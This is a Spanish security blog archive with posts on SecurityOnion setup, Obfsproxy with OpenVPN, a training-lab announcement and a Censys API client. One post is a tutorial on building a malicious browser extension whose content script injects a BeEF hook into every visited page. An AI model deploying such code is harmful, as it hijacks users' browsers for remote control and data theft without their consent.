Archivo
Introducción a SecurityOnion
SecurityOnion es un distribución basada en GNU/Linux, concretamente en Ubuntu y contiene un conjunto bastante completo de herramientas para la detección/prevención de amenazas. Utilizando una o varias instancias de SecurityOnion se puede tener una red con mecanismos de defensa sólidos y sensores que identificarán rápidamente las principales amenazas y eventos potencialmente peligrosos. Entre las herramientas que se encuentran incluidas en SecurityOnion nos encontramos con IDS/HIDS, herramientas para el procesamiento de paquetes, de logs y análisis de tráfico, entre otras. A continuación se explicará el funcionamiento de SecurityOnion y sus elementos “core”.
Netsniff-ng: Se trata de sniffer muy potente y pensado principalmente para sistemas GNU/Linux, muy similar a TCPDump/Wireshark, pero con la diferencia de que explota de una forma bastante eficiente los beneficios que aporta el “PACKET_MMAP” del Kernel. En el caso de SecurityOnion el uso de “Netsniff-ng” se centra en la captura constante y completa de los paquetes de datos que se mueven en la red y obviamente, dicha información es posteriormente utilizada por otras herramientas para su análisis completo.
Suricata y Snort: Se trata de las soluciones más conocidas y populares en el mundo de los IDS open-source. Ambas alternativas se encargan detectar intrusiones y/o posibles amenazas gracias los motores de reglas personalizables que incluyen ambas soluciones. En efecto, tanto Suricata como Snort son IDS “rule-driven”, es decir, herramientas que tras aplicar una serie de patrones configurables por el administrador, son capaces de detectar tráfico sospechoso o malicioso.
Bro IDS: Si bien el objetivo de Bro IDS es el mismo que el de Suricata y Snort, el modelo aplicado para la resolución de las amenazas en un entorno de red es completamente distinto. Como se mencionaba antes, los IDS basados en reglas utilizan un conjunto de patrones que sirven como “fingerprints” de amenazas o incluso ataques que se están llevando a cabo en la red. Dichos patrones pueden ser muy flexibles y tener unos muy buenos niveles de efectividad contra amenazas comunes, pero dado el dinamismo del tráfico en segmentos de red y la facilidad que tienen los atacantes de ocultar payloads, malware y todo de tipo de paquetes maliciosos, es muy probable que un sistema basado en reglas sea capaz de filtrar todas las posibles amenazas que pueden producirse. En éste sentido, los IDS “analysis-driven” suponen un enfoque distinto a los IDS tradicionales basados en reglas, ya que además de capturar eventos potencialmente peligrosos, provee de un framework bastante potente para analizar todos los eventos y el tráfico generado, de tal forma que el analista de seguridad podrá verificar si efectivamente si se está llevando a cabo un ataque o si hay algún tipo de amenaza en la red.
OSSEC: Además de las soluciones de seguridad basadas en eventos producidos en red como los NIDS mencionados antes, SecurityOnion también cuenta con OSSEC como solución HIDS para el establecimiento de endpoints y agentes que se encarguen de monitorizar los eventos producidos en “puntos fijos” dentro de la red. OSSEC permite ejecutar labores de recolección y análisis de logs, chequeos de integridad en ficheros, gestión de políticas, sistema en tiempo real de alarmas, entre otras cosas. OSSEC, al igual que los NIDS mencionados anteriormente, tienen licencias opensource y por ese, entre otros motivos, se encuentran incluidas directamente en SecurityOnion con una configuración por defecto.
La capacidad de capturar y correlacionar eventos producidos en sistemas aislados y en el contexto de red es algo bastante aconsejable para una detección y prevención mucho más eficiente de amenazas y desde luego es por lo que apuestan soluciones como SecurityOnion. No obstante, la cantidad de paquetes a procesar no es nada despreciable y precisamente por ese motivo, en SecurityOnion también existen herramientas para el análisis de toda esa información.
Instalación
No es un procedimiento complejo ni mucho menos, se trata de una distribución basada en Ubuntu, más concretamente en la versión 14.04 (a la fecha de redactar éste artículo) y se puede instalar directamente en el ordenador o como una máquina virtual con VMWare o VirtualBox. Lo primero es descargar la imagen ISO que se encuentra disponible en el repositorio GitHub del proyecto, ubicado en la siguiente dirección: https://github.com/Security-Onion-Solutions/security-onion
Una vez descargada la imagen, se puede proceder con la instalación del mismo modo que se haría con cualquier sistema basado en GNU/Linux. Otra alternativa para instalar todas las características disponibles en SecurityOnion, consiste en instalar un Ubuntu 14.04 y posteriormente añadir los repositorios PPA de SecurityOnion, los cuales nuevamente, a la fecha de redactar éste artículo, únicamente son compatibles con dicha versión de Ubuntu. Por otro lado, también es importante verificar el checksum de la imagen ISO descargada para comprobar su integridad, no cuesta mucho y lleva poco tiempo así que es altamente recomendable hacerlo, las instrucciones se encuentran incluidas en el siguiente enlace: https://github.com/Security-Onion-Solutions/security-onion/wiki/Installation. Ahora bien, para la instalación se puede utilizar una versión de Ubuntu 14.04 recién instalada y posteriormente, configurar todos los paquetes disponibles en SecurityOnion, es algo que viene bien aprender a hacer ya que en despliegues en entornos de producción es mejor instalar un Ubuntu e ir configurando todo de la forma más fina posible. El procedimiento es simple, basta con ejecutar los siguientes comandos para tener todo lo necesario antes de comenzar la instalación de los paquetes de SecurityOnion con “apt-get”.
>sudo apt-get -y install software-properties-common
>sudo add-apt-repository -y ppa:securityonion/stable
>sudo apt-get update
Tras la importación del repositorio es necesario ejecutar un “update” para posteriormente, ejecutar el siguiente comando de instalación:
>sudo apt-get install securityonion-all syslog-ng-core
Se trata de un procedimiento que puede tardar un buen rato mientras se instalan todos los componentes necesarios. Finalmente, se debe ejecutar el siguiente comando para realizar el procedimiento inicial de configuración, el cual consiste en la ejecución de un asistente muy sencillo que nos guiará paso a paso.
>sudo sosetup
En el último paso, se procede a realizar los cambios directamente en el sistema y finalmente se reinicia. Después de reiniciar es posible arrancar todos los servicios de SecurityOnion con el siguiente comando:
>sudo service nsm start
No obstante, es probable que existan errores tras reiniciar el sistema, como por ejemplo que el servidor “securityonion” no exista o no se encuentre el usuario “sguil”. Esto indica que el asistente no ha realizado todas las labores de configuración que debería y para solucionarlo, basta simplemente con volver a ejecutar el script.
Por último, se puede apreciar que SecurityOnion se encuentra activo con todos los servicios levantados y en funcionamiento, ahora queda comenzar a configurar cada uno de los servicios de forma individual para llegar a la mejor configuración posible de acuerdo a las necesidades especificas del cliente o empresa.
En próximas entradas se explicara mas en detalle cada uno de estos servicios y las herramientas disponibles para realizar una configuración enfocada a entornos productivos.
Un saludo y Happy Hack!
Adastra.
Ataques MITB persistentes “cross-browser” con Kangoo Framework – Parte 2.
Partiendo de lo visto en la entrada anterior, es el momento de comenzar a pensar en qué alternativas se encuentran disponibles de cara a un atacante a la hora de incluir rutinas maliciosas sobre la extensión desarrollada. En este sentido, pueden haber muchas rutinas basadas en Javascript que se podrían incluir directamente en el código de la extensión, las cuales se podrían encargar de extraer información o utilizar el navegador web como “pivote” para realizar peticiones contra otros sitios web en Internet obviamente sin el consentimiento del usuario. Como se ha visto antes, para crear dichas rutinas en Kangoo contamos con 2 alternativas posibles: Background y Content scripts. Vamos a ver cuál puede ser la mejor forma para crear la extensión con rutinas maliciosas a lo largo de éste post, sin embargo, antes de ello hay que pensar en el payload que se quiere distribuir en la extensión, qué operaciones debe ejecutar dicho payload sobre el navegador web y por supuesto, intentar que dichas operaciones tengan el mayor impacto posible sobre la “víctima”. Pueden haber varias opciones para cumplir con dicho objetivo, sin embargo, para éste caso concreto, vamos a centrarnos en el uso de una herramienta de la que ya se ha hablado anteriormente en éste blog y que tiene una potencia que pocas herramientas enfocadas a los ataques “client-side” disponen actualmente, estamos hablado de BeEF. Como se ha comentado en la serie de artículos en los que se ha hablado de BeEF (concretamente aquí, aquí, y aquí) el funcionamiento de ésta herramienta se basa en la distribución de un “hook” que contiene una serie de instrucciones que permiten establecer un canal de comunicación directo con un panel de control central, en donde es posible gestionar todas las víctimas (en la terminología de BeEF conocidas como “Zombies”) y posteriormente, ejecutar sobre cada una múltiples comandos que permiten utilizar al “zombie” como un pivote para ejecutar ataques a otros sistemas o extraer información del navegador de la víctima. Aunque BeEF es una herramienta que se encuentra desarrollada en Ruby, el “hook” se basa en Javascript, ya que evidentemente contiene todas las instrucciones que se deben de ejecutar en el lado del cliente. Cuando se levanta BeEF se puede ver que además de indicar la ruta donde se encuentra el hook, también inicia la interfaz web desde donde se podrán controlar todos los navegadores que ejecuten el hook.
Ahora que se encuentra levantada la instancia de BeEF y tenemos un “hook” resulta evidente que partiendo de lo visto en la entrada anterior, es necesario que la extensión se encargue de descargar el hook del servidor de BeEF y posteriormente sea ejecutado directamente en el navegador en donde se ha instalado la extensión. Como se ha visto antes, para desarrollar la lógica de la extensión, las principales alternativas disponibles son “background scripts” y “content scripts”, los cuales permiten el uso completo de la API de Kangoo pero tal como se ha explicado en la entrada anterior, su contexto de ejecución es distinto. A continuación vamos a analizar ambas alternativas detalladamente a la hora de cargar el “hook” y ver cuál puede ser la más efectiva.
Cargar el Hook de BeEF en un Background Script
En el fichero “main.js” se encuentran las instrucciones que se ejecutarán como un “background script”, se trata de instrucciones que son independientes de las páginas cargadas por el usuario y se ejecutan directamente en el contexto del navegador. El Hook de BeEF está compuesto por instrucciones Javascript que se deben ejecutar por el cliente (navegador) para que todo funcione según lo esperado y aunque lo más habitual es cargar dicho hook en una página con alguna vulnerabilidad del tipo XSS, Content Spoofing o similar, en este caso concreto es posible descargarlo desde el servidor de BeEF e incluir el fichero JS directamente en la extensión como si se tratase de cualquier otro background script. En tal caso, lo único que haría falta seria editar el fichero “extension_info.js” e incluir el hook para que el navegador se encargue de ejecutarlo en el momento en el que la extensión se encuentre cargada y habilitada en el navegador. Es un enfoque sencillo y en apariencia requiere muy poco esfuerzo, aunque como se verá a continuación no es el más adecuado para nuestros propósitos. El contenido del fichero “extension_info.js” únicamente cambiará en la sección “background_scripts”
"background_scripts": [
"main.js",
"hook.js"
]
Del mismo modo que el fichero “main.js” se encuentra bajo el directorio “src/common”, el fichero “hook.js” de BeEF debe encontrarse también en la misma ubicación. Dado que no es necesario realizar ninguna modificación adicional para realizar ésta prueba de concepto, a continuación se procede a construir nuevamente la extensión tal y como se ha visto en la entrada anterior y posteriormente, se procede a instalarla en el navegador web y ….
La extensión se carga correctamente y el hook llega a ejecutarse sobre un navegador web Firefox, pero no funciona igual sobre un navegador web como Chrome debido a las medidas de seguridad que impone dicho navegador sobre elementos potencialmente peligrosos. En ambos casos, es posible apreciar que la extensión carga el fichero “hook,js” de BeEF pero solamente llega a establecerse correctamente la conexión cuando se utiliza un navegador web Firefox. Dicho esto, utilizar Background Scripts no parece ser la alternativa más viable, pero aún nos queda la otra opción: Content Scripts.
Cargar el Hook de BeEF en un Content Script
Los Content Scripts son rutinas muy potentes ya que permiten acceder a cada uno de los sitios que un usuario visita mientras que la extensión se encuentra activa. Evidentemente, este tipo de rutinas pueden ser utilizadas para realizar actividades de seguimiento y tracking sobre los contenidos que visualiza el usuario navegando por Internet. Navegadores web como Firefox tienen un mecanismo muy robusto basado en firmas para impedir que cualquier extensión sea instalada por el usuario, únicamente permite la instalación de extensiones firmadas y verificadas por Mozilla, algo que es de agradecer ya que de esta forma la “superficie de ataque” se reduce bastante e impide que un usuario instale en su navegador una extensión potencialmente dañina, aunque como se ha visto en la entrada anterior, éste comportamiento por defecto se puede modificar simplemente alterando cambiando la configuración del navegador web. Los Content Scripts están diseñados precisamente para realizar diferentes tipos de operaciones sobre cada uno de los sitios visitados por los usuarios, siendo lo suficientemente flexibles como para declarar reglas en base a los sitios web visitados y también, tal como se ha visto en la entrada anterior, es posible manipular el árbol DOM de cada sitio web.
Con esto debería ser suficiente para manipular la estructura de las páginas web visitadas por las víctimas y crear de forma dinámica, un elemento “script” que se encargará de cargar el hook de BeEF. Ahora, para poner en marcha lo explicado antes, vamos a proceder a modificar el fichero “content.js” de la extensión desarrollada anteriormente con el siguiente contenido:
// ==UserScript==
// @name THW Frame
// @include http://*
// @include https://*
// @require jquery-1.9.1.min.js
// ==/UserScript==
var frame =$(document.createElement('script')).attr({
src:'http://127.0.0.1:3000/hook.js',
type:'text/javascript'
}).appendTo(document.body);
Lo anterior, como una prueba de concepto básica ésta bien, pero evidentemente es conveniente ajustar las reglas de “include” a únicamente aquellos dominios que puedan resultar interesantes y también, realizar pruebas en un entorno diferente al local, por ejemplo, un VPS o similar, sin embargo sobre éste último punto se hablará con mayor detalle en una próxima entrada.
Como se puede apreciar, en este caso cada una de las páginas visitadas por el usuario será modificada por la extensión y en el árbol DOM de cada página, se creará un nuevo elemento “script” que apuntará a las rutinas del hook de BeEF para llevar a cabo el ataque “client-side”.
Con estás pequeñas modificaciones, ahora solamente es necesario volver a construir la extensión y desplegarla en el navegador web, evidentemente BeEF se debe encontrar levantado para aceptar las conexiones realizadas por parte de la víctima. Desde el directorio de Kangoo ejecutar:
python kango.py build THWExtension/
[ INFO] Contact extensions@kangoextensions.com to enable IE support
[ INFO] Running Kango v1.8.0
[ INFO] Building chrome extension…
[ INFO] Building firefox extension…
[ INFO] Building safari extension…
Ahora, con la extensión generada se debe proceder a instalarla directamente en el navegador web.
A continuación, navegar por cualquier sitio web en Internet, en el caso de la imagen de abajo, se puede ver que el usuario ha navegado por el sitio web de youtube y es precisamente lo que se enseñará en la sección de “Hooked Browsers” de BeEF.
Como se puede ver en la imagen anterior, la estructura de la página ha cambiado y aunque su comportamiento es el mismo, se ha incrustado un nuevo elemento “script” que es el que permite realizar las conexiones desde el navegador hacia el servidor de BeEF, de hecho, tal como se puede apreciar en la siguiente imagen, las peticiones realizadas por el hook son constantes, con el fin de enviar peticiones del tipo “keep-alive” al servidor e indicarle que el navegador aún se encuentra infectado.
Finalmente, desde el servidor de BeEF es posible realizar diferentes tipos de ataques del tipo client-side tal como se ha enseñado en otras entradas de éste blog, además, dado que no se han declarado reglas de filtrado sobre los dominios a consultar, todas las páginas que visite el usuario se van a ver alteradas, aunque como comentaré en otra entrada, a veces pueden haber problemas debido a las políticas de seguridad establecidas en el navegador web, como por ejemplo CSP (Content Security Policy).
En éstas dos entradas se ha explicado cómo desarrollar una extensión maliciosa, pero no deja de ser simplemente una prueba de concepto de la que podrían resultar ataques mucho más estructurados y elaborados. En un siguiente artículo, vamos a ir un paso más adelante y se intentará explicar cómo se puede llevar a cabo ésta misma PoC desde Internet de una forma un poco más “profesional” y sobre todo, conservando el anonimato del panel de control de BeEF, básicamente lo mismo que haría cualquier atacante en Internet.
Un saludo y Happy Hack!
Adastra.
Ocultación de tráfico con Obsfproxy y OpenVPN
OpenVPN es una muy buena alternativa a la hora navegar de forma privada y segura, crear una VPN es algo relativamente fácil de configurar, dependiendo evidentemente de tus necesidades y de las complejidades que pueda tener tu entorno/configuración, no obstante, en algunas ocasiones no se puede utilizar de forma directa debido a restricciones y medidas de censura que se aplican en ciertos lugares del mundo, por ejemplo, si te encuentras en China continental te vas a encontrar con que tu cliente de OpenVPN no se podrá conectar con el servidor debido a los bloqueos impuestos por “el gran firewall” chino, las medidas de censura instauradas por éste y otros gobiernos impiden que se puedan completar las conexiones utilizando un canal cifrado. En este caso concreto, para conseguir el filtrado de dichas conexiones, los ISPs junto con los “entes censores” implementan técnicas para el análisis de tráfico y detección de patrones “sospechosos”, dichas técnicas son conocidas como DPI (Deep Packet Inspection) permitiendoles saber que aunque el tráfico se encuentre cifrado, utiliza algún tipo de protocolo concreto, el cual pueden encontrarse restringido o no y evidentemente, partiendo de dicha información, se toma la decisión de permitir o bloquear el tráfico de forma automática. Este problema ya lo han enfrentado soluciones de anonimato como TOR y tal como os comentaba en otro articulo, la mejor forma a día de hoy de “saltarse” esas restricciones consiste en utilizar implementaciones de “Pluggable Transports” los cuales se encargan de alterar el tráfico generado desde el cliente y enmascararlo de tal forma que de cara al ISP o censor se trata de paquetes de datos que no cumplen con ninguno de los patrones de bloqueo y en apariencia, tiene el mismo comportamiento de una petición habitual, como una búsqueda en Baidu (http://www.baidu.com/) o Sogou (http://www.sogou.com/). Existen múltiples implementaciones de Pluggable Transports y aunque las más robustas y extendidas han sido desarrolladas por el equipo de TorProject, existen otras implementaciones que buscan la interoperabilidad de los “Pluggable Transports” en soluciones de privacidad y anonimato distintas a TOR, como es el caso de uProxy, Lantern o Psiphon.
Para utilizar cualquier Pluggable Transport es importante instalar los componentes adecuados tanto en el cliente como en el destino (servidor). Dichos elementos se encargan de enmascarar y desenmascarar los paquetes de datos enviados y recibidos, de tal forma que desde el cliente se aplica el Pluggable Transport adecuado, el cual se encargará de aplicar las modificaciones correspondientes sobre los paquetes de datos y posteriormente se envían al destino. En el lado del cliente funciona como un proxy local, el cual intercepta las peticiones y las procesa antes de salir hacia el gateway de la red. En el lado del destino o servidor, funciona exactamente igual pero en sentido inverso, es decir, se reciben los paquetes de datos por parte de un listener o servicio que “desenmascarará” las peticiones y recompondrá el mensaje enviado originalmente por el cliente. Un mecanismo sencillo y muy robusto que es altamente resistente a la censura.
Una vez comprendido el funcionamiento de los Pluggable Transports y ver que realmente no es demasiado complejo, podemos intentar llevarlo a la practica utilizando alguna implementación de PT disponible, en este caso, se hará con una red VPN implementada con OpenVPN y la implementación de PT Obfsproxy, la cual ha sido desarrollada por el equipo de TorProject y funciona bastante bien.
Configuración en el lado del cliente.
En primer lugar, el cliente de la red VPN debe configurarse de tal forma que las conexiones no se lleven a cabo de forma directa contra el servidor OpenVPN, en su lugar, la conexión se realizará contra el proceso de Obfsproxy en el lado del servidor y éste a su vez, se encargará de reenviar los paquetes hacia el servidor OpenVPN correspondiente. Para hacer esto, basta simplemente con cambiar el parámetro “remote” en el fichero de configuración del cliente o directamente desde consola.
remote <IPSERVIDOR_OBFSPROXY> 21194
A continuación, se debe instalar Obfsproxy en el sistema del cliente y luego, levantar el proceso que se encargará de ofuscar el tráfico enviado desde la máquina del cliente. Dicho proceso, como se ha mencionado anteriormente, funcionará simplemente como un proxy local que se encargará de tratar los paquetes y enviarlos al servidor Obfsproxy indicado.
Para instalar obfsproxy sobre un sistema basado en Debian, basta simplemente con ejecutar el comando “apt-get install obfsproxy”, aunque también se puede instalar directamente con pip ejecutando el comando “pip install obfsproxy”.
Después de instalar, el siguiente comando permitirá iniciar el proceso en el lado del cliente en el puerto “10194”
obfsproxy –log-file=obfsproxy.log –log-min-severity=info obfs3 –shared-secret=<32 caracteres> socks 127.0.0.1:10194
Como se puede apreciar, se especifica un fichero de logs, nivel de log, el PT a utilizar con obfsproxy que en este caso será “obfs3” y finalmente, la opción “–shared-secret” corresponde a una cadena de texto que debe ser la misma en el cliente y servidor, además es recomendable que dicha cadena de texto tenga por lo menos 32 caracteres para generar una clave de 256bits. El parámetro “socks” le indica a obfsproxy que debe levantar un servidor proxy socks en el puerto 10194 en la máquina local, el cual deberá ser utilizado por el cliente de OpenVPN. Ahora bien, antes de continuar, se recomienda generar la clave compartida utilizando OpenSSL, tan sencillo como ejecutar el siguiente comando:
openssl rand -base64 32
Recordar que la salida del comando anterior debe ser incluida en el parámetro “–shared-secret” y además, se trata de un valor que debe ser igual en el proceso obfsproxy en el lado del cliente y en el lado del servidor.
El último paso para que la configuración de OpenVPN+Obfsproxy quede completada en el lado del cliente, consiste nuevamente en modificar el fichero de configuración del cliente openvpn e incluir las siguientes instrucciones “socks-proxy-retry” y “socks-proxy”. En el fichero de configuración estas instrucciones quedarían así:
socks-proxy-retry
socks-proxy 127.0.0.1 10194
El puerto “10194” evidentemente tiene corresponder con el valor indicado en obfsproxy cuando se ha iniciado el proceso cliente.
Configuración en el lado del servidor.
En el lado del servidor OpenVPN hay que seguir unos pasos muy similares a los que se han llevado a cabo en el lado del cliente, solamente que en este caso, es incluso más sencillo ya que en primer lugar, únicamente hay que editar el fichero de configuración “server.conf” y asegurarse de que el puerto indicado en el parámetro “port” coincide con con el que se va a utilizar posteriormente en el proceso servidor de Obfsproxy. En este caso, se asume que dicho puerto será el 1194 (valor por defecto en un servidor OpenVPN).
A continuación, se debe iniciar el proceso servidor de Obfsproxy utilizando el siguiente comando.
obfsproxy –log-file=obfsproxy.log –log-min-severity=info obfs3 –dest=127.0.0.1:1194 –shared-secret=<32 caracteres> server 0.0.0.0:21194
Como se puede apreciar, el comando ejecutado en el lado del servidor es muy similar al que se ha lanzado desde el lado del cliente, con la diferencia de que se ha indicado el interruptor “–dest” que permite apuntar al puerto donde se encuentra ejecutándose OpenVPN, lo cual a efectos prácticos, significa que todo el tráfico que obfsproxy consigue desenmascarar será reenviado al puerto especificado, es decir, al puerto en donde se encuentra ejecutándose el servidor OpenVPN. Por otro lado, tal como se ha indicado anteriormente, es necesario que el valor de “–shared-secret” sea el mismo tanto para el cliente como para el servidor. Se trata de la clave utilizada para descifrar los paquetes (cifrado end-to-end). Por último, se indica también que Obfsproxy se ejecutará en modo servidor en el puerto “21194” debido al valor “server” indicado por parámetro.
Ahora que todo está preparado, se debe arrancar el servidor Openvpn y si todo va bien, se puede arrancar el cliente Openvpn con el fichero de configuración correspondiente, esperar a que la conexión con el servidor se establezca correctamente y ver los logs. También resulta muy interesante capturar el tráfico tanto en cliente y servidor para ver qué es lo que hace obfsproxy y cómo altera los paquetes de datos.
Como has podido ver, ha sido fácil de configurar y los resultados son muy interesantes. Intenta probarlo en tus servidores y si estás interesado, aporta a la red de Tor levantando Bridges con OBFS 🙂
Un saludo y happy hack!
Adastra.
Nueva temporada en THW Academy: Más cursos y lanzamiento de THW Labs
THW Academy lleva cerca de un año en funcionamiento y los resultados han sido muy satisfactorios, he tenido la oportunidad de conocer gente que tiene un interés legitimo por aprender y que además, participan activamente. Este proyecto ha nacido como una plataforma de aprendizaje dedicada a las personas interesadas en el mundo de la seguridad informática y el hacking con un enfoque completamente práctico, con esto en mente, uno de los principales objetivos de la academia es el de impartir una formación que en la medida de lo posible fomente la investigación. Nunca me ha interesado crear cursos atiborrados de muchos conceptos teóricos con escasa aplicación práctica y creo que a día de hoy, estoy consiguiendo ese objetivo. No obstante, mucho antes de comenzar con THW Academy y desde la perspectiva de cualquier aprendiz (que es lo que soy y siempre seré) considero que no es suficiente con simplemente recibir cursos, por muy buenos que estos sean, ya que la mejor forma de aprender de verdad es pegarse con problemas y tratar de resolverlos. Por este motivo, he decidido dar un paso hacia adelante y ofrecer algo más, algo que todos pedís constantemente y que no es tan fácil de conseguir: Llevar a la práctica lo aprendido en entornos reales que supongan un reto autentico. Los conocimientos en hacking son esencialmente prácticos, pero aplicar esos conocimientos es complicado, ya que “no puedes”, o mejor, “no debes”, atacar cualquier sistema por las consecuencias legales que tus acciones te pueden acarrear. La mejor forma que tenemos actualmente de poner a prueba nuestras habilidades es por medio de máquinas virtuales con vulnerabilidades o participar en retos del tipo CTF, son cosas que están muy bien, pero es probable que se te queden cortas y que quieras ir un poco más allá. En este sentido, tienes a tu disposición el reto de Offensive Security con la certificación OSCP, un reto que siempre recomiendo por su alto nivel técnico y además de que tienes que “ensuciarte las manos”, ser muy autodidacta y esforzarte mucho para conseguir el objetivo de comprometer todos los sistemas del entorno. Hace algún tiempo os hablé de mi experiencia en el laboratorio de la OSCP y comentaba que es bastante completo para poner a prueba tus conocimientos, sin embargo tiene un “pequeño problema” y es que te puede llegar a constar 1.500 dolares o más, dependiendo del tiempo que contrates. Es un entorno que está muy bien, pero seguramente muchos de vosotros os lo pensaréis dos veces ya que su costo es alto.
Partiendo de esta situación, desde el año pasado me propuse crear un laboratorio de pruebas completo que vaya un poco más allá del típico CTF, un entorno en el que se simule una red corporativa y que suponga un verdadero reto para cualquier hacker o pentester y es así como el día de hoy os presento THW Labs.
(Pincha sobre la imagen)
Se trata de un laboratorio que actualmente cuenta con más de 30 sistemas que incluyen vulnerabilidades de todo tipo y con niveles de dificultad variables, es posible realizar cualquier tipo de prueba y ejecutar ataques contra segmentos de red internos utilizando técnicas de pivoting y port-forwarding, todo ello por medio de una conexión a la VPN de THW Labs. Se trata de un entorno muy similar al de la OSCP, solamente que ahora mismo cuenta con menos sistemas, pero os aseguro que irá creciendo y en poco tiempo estará a la altura del de la OSCP. El objetivo es que se convierta en un entorno tan extenso como el que existe en la OSCP pero con tres diferencias importantes:
- En primer lugar, las vulnerabilidades no son las mismas para cada sistema y cada objetivo tiene sus propias vías de explotación, algo que no tiene la OSCP, ya que fácilmente nos encontramos de 6 a 8 sistemas que se explotan del mismo modo, aplicando las mismas técnicas, los mismos exploits y siguiendo exactamente los mismos procedimientos. En el caso de THW Labs cada sistema es único.
- En THW Labs existen 3 niveles de dificultad (básico, intermedio y avanzado), de esta forma cada participante podrá decidir en qué sistemas centrarse y buscar formas de explotarlos dependiendo de sus habilidades y conocimientos.
- Como se ha mencionado antes, THW Labs es un entorno dinámico, lo que quiere decir que a lo largo del tiempo irá creciendo en objetivos y vulnerabilidades, algo que no ha ocurrido en mucho tiempo con el laboratorio de la OSCP, ya que te vas a encontrar con los mismos sistemas que se podían ver en la versión de PWB (Pentesting With Backtrack). Esto significa que muchas de las vulnerabilidades que han salido recientemente no se encuentran incluidas en el laboratorio de la OSCP, sin embargo, en el caso de THW Labs, se estima que en un promedio de cada 2 meses, habrán nuevos sistemas con vulnerabilidades o vías de explotación que han sido recientemente descubiertas o que en las que es necesario aplicar técnicas de explotación interesantes.
Dicho todo lo anterior, os recomiendo visitar la página web oficial de THW Labs.
Por otro lado, tal como dicta el título de ésta entrada, los cursos que actualmente se están ofreciendo en THW Academy llegan a su fin en el mes de diciembre y a partir de Enero del año que viene, comenzamos con la siguiente temporada de cursos, los cuales se listan a continuación:
Nivel básico:
THWB5 – INTRODUCCIÓN A LA ARQUITECTURA DE ORDENADORES
THWB6 – CONFIGURACIÓN Y USO DE METASPLOIT FRAMEWORK
Nivel Intermedio:
THWI4 – HACKING EN REDES Wi-Fi
THWI5 – PENTESTING CON METASPLOIT FRAMEWORK, NMAP Y SET.
THWI6 – POSTEXPLOTACIÓN SOBRE SISTEMAS GNU/LINUX.
Nivel Avanzado:
THWA4 – NETWORKING CON PYTHON: Scapy, Twisted, Tornado y AsyncIO
THWA5 – EXPLOITING EN SISTEMAS WINDOWS Y GNU/LINUX
Próximamente tendréis disponibles los contenidos de cada uno de estos cursos, además, os recuerdo que podéis registraros a THW Academy en cualquier momento y acceder a todos los contenidos que se han publicado anteriormente y los que se publican mes a mes.
De momento esto es todo, sin embargo si tenéis cualquier duda, comentario o cualquier otro asunto, puedes escribir un correo a adastra@thehackerway.com y se te responderá tan rápido como sea posible.
Un saludo y Happy Hack!
Adastra.
Censys: Motor de búsqueda sobre dispositivos y servidores en Internet
Shodan es probablemente uno de los motores de búsqueda más utilizados por hackers (y curiosos) que quieren encontrar dispositivos y servidores en Internet que ejecutan servicios con características muy concretas, no en vano se le conoce como “el google de los hackers”. Es una herramienta muy valiosa que también permite acceder a sus funcionalidades de forma programática desde lenguajes de programación tales como Python, Perl o Ruby. En varias ocasiones se han mencionado sus virtudes en este blog y seguramente para muchos de vosotros nada de lo dicho anteriormente es algo nuevo, sin embargo cuando se menciona a “Censys”, actualmente son “pocas” las personas que conocen sus bondades. Del mismo modo que ocurre con Shodan, con Censys es posible realizar búsquedas muy concretas sobre dispositivos, servidores y redes que se encuentran en Internet, siendo un servicio muy similar y directa “competencia” de Shodan. El funcionamiento de Censys se basa en el uso de una herramienta que también es relativamente reciente y de la que ya se ha hablado anteriormente en este sitio, se trata de Zmap un escaner que permite ejecutar un escaneo completo contra el rango de direcciones IPv4 y que con los recursos de computo adecuados, permite el escaneo entero de Internet en un tiempo bastante razonable. Se trata sin lugar a dudas de una herramienta que merece la pena estudiar y comprender. Censys se encarga de ejecutar escaneos con Zmap diariamente y recolecta información sobre los servicios que se encuentran disponibles en las direcciones IP analizadas, que como se ha dicho anteriormente, comprenden el rango de direcciones IPv4 entero. El creador de Censys es el mismo de Zmap (Zakir Durumeric) y desde el primer paper público sobre el uso de Censys, en octubre de 2015, tanto él como John Matherly (Shodan) han defendido a capa y espada sus respectivos sistemas como es natural, exponiendo las virtudes del uno sobre el otro. Después de estudiar ambos, personalmente no me decanto por uno solo, todo lo contrario, prefiero utilizar ambos para obtener más información y poder comparar/complementar resultados. Del mismo modo que ocurre con Shodan, es posible utilizar una API basada en servicios Rest que pueden ser consultados fácilmente si se tiene una “Developer Key”, la cual se puede conseguir simplemente creando una cuenta gratuita en el servicio. Todos los días es posible acceder a un snapshot de los datos recolectados por el servicio, indicando la información disponible sobre direcciones, puertos, sitios web, certificados, etc. Por otro lado, la API está compuesta por los siguientes endpoints.
| search | Permite ejecutar búsquedas contra los índices más recientes que ha recolectado el sistema. |
| view | Permite recuperar información sobre un host concreto, sitio web o certificado. |
| report | Permite generar un reporte agrupado sobre un campo concreto en el conjunto de resultados. |
| query | Permite la ejecución de una consulta SQL contra la información actual e histórica que se ha ido registrando en el sistema y únicamente está disponible a investigadores verificados. |
| export | Permite la exportación de un conjunto de registros en formato JSON |
| data | Expone metadatos sobre la información en formato “crudo” que es recolectada diariamente por el sistema. |
Como se puede apreciar, son muy pocos endpoints y no es una API tan completa como la que implementa Shodan, pero sigue siendo muy interesante por la información que aporta. En este punto es posible interactuar con Censys por medio de dichos endpoints de forma programática, para ello es necesario crear una cuenta en Censys y obtener los campos API ID y Secret, tal como se puede apreciar en la siguiente imagen.
A la fecha de redactar este documento no hay ningún tipo de cliente oficial para Censys, pero dado que se trata de un servicio que se expone por medio de una API Rest, es posible utilizar cualquiera de las librerías disponibles en lenguajes de programación como Python, Ruby, C o Java, para consumir dichos servicios Rest sin mayores dificultades. En este caso concreto y tal como se ha visto en varias ocasiones en este blog, se utilizará Python para crear un cliente básico que consuma algunos de los servicios disponibles en Censys.
import sys
import json
import requests
API_URL = "https://www.censys.io/api/v1"
UID = "xxxxx"
SECRET = "zzzzz"
res = requests.get(API_URL + "/data", auth=(UID,
SECRET))
if res.status_code != 200:
print "error occurred: %s" % res.json()["error"]
sys.exit(1)
for name, series in res.json()["raw_series"].iteritems():
print series["name"], "was last updated at",
series["latest_result"]["timestamp"]
params = json={"query": "Apache",
"page":1}
res = requests.post(API_URL + "/search/certificates",
auth=(UID, SECRET), json=json)
print res.json()["results"][0].keys()
print res.json()["results"][0].values()
|
